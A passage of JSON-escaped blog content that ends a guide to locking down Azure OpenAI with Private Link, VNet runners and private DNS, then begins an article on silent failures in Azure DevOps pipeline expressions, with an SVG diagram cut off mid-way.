fail immediately.\u003c/p\u003e\n\u003ch3 id=\"self-hosted-runners\"\u003eSelf-Hosted Runners\u003c/h3\u003e\n\u003cp\u003eDeploy \u003cstrong\u003eself-hosted runners\u003c/strong\u003e inside your VNet (or a peered VNet). They inherit the VNet\u0026rsquo;s DNS and resolve the OpenAI private IP automatically. Azure Container Instances (ACI) or Azure Container Apps work well for hosting these runners in a serverless fashion within your network boundary.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# GitHub Actions snippet for self-hosted runners in a VNet\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eai-task\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eruns-on\u003c/span\u003e: [\u003cspan style=\"color:#ae81ff\"\u003eself-hosted, azure-vnet]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCall Private OpenAI\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erun\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          # This FQDN now resolves to 10.x.x.x automatically\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          curl https://your-resource.openai.azure.com/status\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"verification-and-testing\"\u003eVerification and Testing\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eInternal Resolution:\u003c/strong\u003e From a VM inside the VNet, run \u003ccode\u003enslookup your-resource.openai.azure.com\u003c/code\u003e. It must return the private IP (e.g., \u003ccode\u003e10.0.1.5\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eExternal Refusal:\u003c/strong\u003e From your local machine (without VPN), run the same \u003ccode\u003enslookup\u003c/code\u003e. It may resolve to a public IP due to the public CNAME chain, but any \u003ccode\u003ecurl\u003c/code\u003e request must return a 403 error.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAudit Logs:\u003c/strong\u003e Check the \u0026ldquo;Networking\u0026rdquo; blade in the Azure portal; \u0026ldquo;Public network access\u0026rdquo; should be \u0026ldquo;Disabled.\u0026rdquo;\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eCentralize DNS:\u003c/strong\u003e Maintain one \u003ccode\u003eprivatelink.openai.azure.com\u003c/code\u003e zone in your Hub subscription and link it to all spokes.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAutomate Records:\u003c/strong\u003e Always use \u003ccode\u003eprivateDnsZoneGroups\u003c/code\u003e to manage A-records. Manual records drift and cause outages during resource recreation.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSubnet Policies:\u003c/strong\u003e Remember to set \u003ccode\u003eprivateEndpointNetworkPolicies: 'Disabled'\u003c/code\u003e or your NSGs will not filter traffic to the AI endpoint.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNo Ping:\u003c/strong\u003e Azure blocks ICMP to Private Endpoint NICs. Use \u003ccode\u003etcping\u003c/code\u003e or \u003ccode\u003ecurl\u003c/code\u003e to verify connectivity.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/ai-services/cognitive-services-virtual-networks\"\u003eMicrosoft Learn: Configure Azure AI services virtual networks\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns#azure-services-dns-zone-configuration\"\u003eMicrosoft Learn: Private DNS Zone for Cognitive Services\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.microsoft.com/en-us/pricing/details/private-link/\"\u003eMicrosoft Learn: Azure Private Link Pricing\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller\"\u003eGitHub: Self-hosted runners in a VNet\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Prompt 1 — 3D Abstract / Isometric**\nWide landscape format, 16:9 aspect ratio. A clean isometric 3D illustration of a hub-and-spoke network topology rendered in deep navy and steel blue. At the center hub sits a glowing AI service node encased inside a translucent hexagonal enclosure, representing a private virtual network boundary. Private fiber-optic tubes connect it to two smaller spoke nodes on either side, all within the same enclosure. A severed or faded line reaches outward toward the edge of the frame and terminates abruptly at a closed gate — representing the disabled public internet path. Blender-style ambient occlusion, no text, no labels, soft blue and white accent lighting.\n\n**Prompt 2 — Cyber-Industrial / Data Flow**\nWide landscape format, 16:9 aspect ratio. A high-contrast dark environment where two parallel data streams originate from the left side of the frame. One stream — glowing white and bright blue — flows inward through a locked gateway structure and continues along an enclosed tunnel representing a private network backbone. The other stream — dim and fragmented — collides with a solid wall of translucent barrier panels on the right side and scatters into fading particles, representing rejected public internet traffic. Deep black background, electric cyan and cool gray palette, no text or UI elements.\n\n**Prompt 3 — Macro Tech Detail**\nWide landscape format, 16:9 aspect ratio. An extreme close-up of a network interface card with fiber-optic connections illuminated by soft teal bioluminescent light. Individual glass fiber strands carry pulses of light in alternating cool white and azure blue, representing private encrypted data packets. The PCB substrate is dark matte green with fine copper trace lines. Shallow depth of field blurs the background into soft bokeh. No text, no labels, no UI. The composition emphasizes the physical reality of private networking hardware with cinematic macro photography lighting.\n\n**Prompt 4 — Claymorphism / Soft 3D**\nWide landscape format, 16:9 aspect ratio. A soft matte clay-style 3D render of a miniature city-block-scale network. Rounded clay buildings represent cloud services connected by smooth clay tubes in pale blue. At the center, one building is wrapped in a smooth dome-shaped clay shield — representing a private endpoint boundary. A clay padlock icon sits atop the dome. The surrounding streets outside the dome are empty and disconnected, showing the isolation from the public network. Warm diffuse overhead lighting, soft pastel blue and off-white palette, no sharp edges, no text, no UI elements.\n--\u003e\n","description":"Step-by-step guide to locking down Azure OpenAI with Private Endpoints, VNet integration, and Private DNS Zones so AI traffic never touches the public internet.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/configuring-azure-openai-private-link/","title":"Configuring Azure OpenAI Private Link: Keeping AI Traffic Off the Public Internet"},{"content":"\u003cp\u003eIt’s the ultimate \u0026ldquo;it works on my machine\u0026rdquo; moment for DevOps engineers. You’ve defined a variable, you can see it in the logs, and yet your \u003ccode\u003e${{ if eq(variables.isProduction, 'true') }}\u003c/code\u003e block is completely ignored. The stage isn\u0026rsquo;t skipped; it’s simply gone, as if the code never existed. You aren\u0026rsquo;t crazy—you’ve just fallen into the \u0026ldquo;Expression Gap.\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eA \u0026ldquo;Silent Failure\u0026rdquo; occurs when an Azure DevOps expression evaluates to \u003ccode\u003enull\u003c/code\u003e or \u003ccode\u003efalse\u003c/code\u003e because it’s being asked to look at data that hasn\u0026rsquo;t been generated yet. The most common culprit is trying to use a runtime variable—like a task output or a variable from a Library group—inside a compile-time \u003ccode\u003e${{ }}\u003c/code\u003e block. Because \u003ccode\u003e${{ }}\u003c/code\u003e is evaluated during the pipeline expansion phase (before any tasks run), it sees these future variables as empty. This guide teaches you how to identify, debug, and refactor these silent failures, moving your logic from fragile compile-time guesses to reliable runtime conditions.\u003c/p\u003e\n\u003ch2 id=\"1-the-timing-mismatch-compile-time-vs-runtime\"\u003e1. The Timing Mismatch: Compile-Time vs. Runtime\u003c/h2\u003e\n\u003cp\u003eThe primary cause of silent failure is a fundamental misunderstanding of the \u0026ldquo;Boundary of Visibility.\u0026rdquo; Azure DevOps pipelines have two distinct \u0026ldquo;minds\u0026rdquo;: the expansion engine and the execution engine.\u003c/p\u003e\n\u003ch3 id=\"the-expression-gap-timing-mismatch\"\u003eThe Expression Gap (Timing Mismatch)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 648 265\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 16,16 L 280,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,16 L 632,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,48 L 304,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,48 L 360,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,96 L 280,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,96 L 632,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,128 L 632,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,160 L 280,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,160 L 632,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,192 L 304,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,192 L 360,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,240 L 280,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,240 L 632,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,16 L 16,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,160 L 16,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,16 L 280,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,160 L 280,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,0 L 312,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,16 L 368,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,160 L 368,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 632,16 L 632,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 632,160 L 632,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='296.000000,192.000000 284.000000,186.399994 284.000000,197.600006' fill='currentColor' transform='rotate(180.000000, 288.000000, 192.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='368.000000,48.000000 356.000000,42.400002 356.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 360.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='132' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='132' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='52' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='68' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='68' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='132' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='68' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='132' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='196' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='132' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='52' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='52' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='52' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='212' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='52' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='196' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='212' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='52' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='52' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='212' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='52' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext 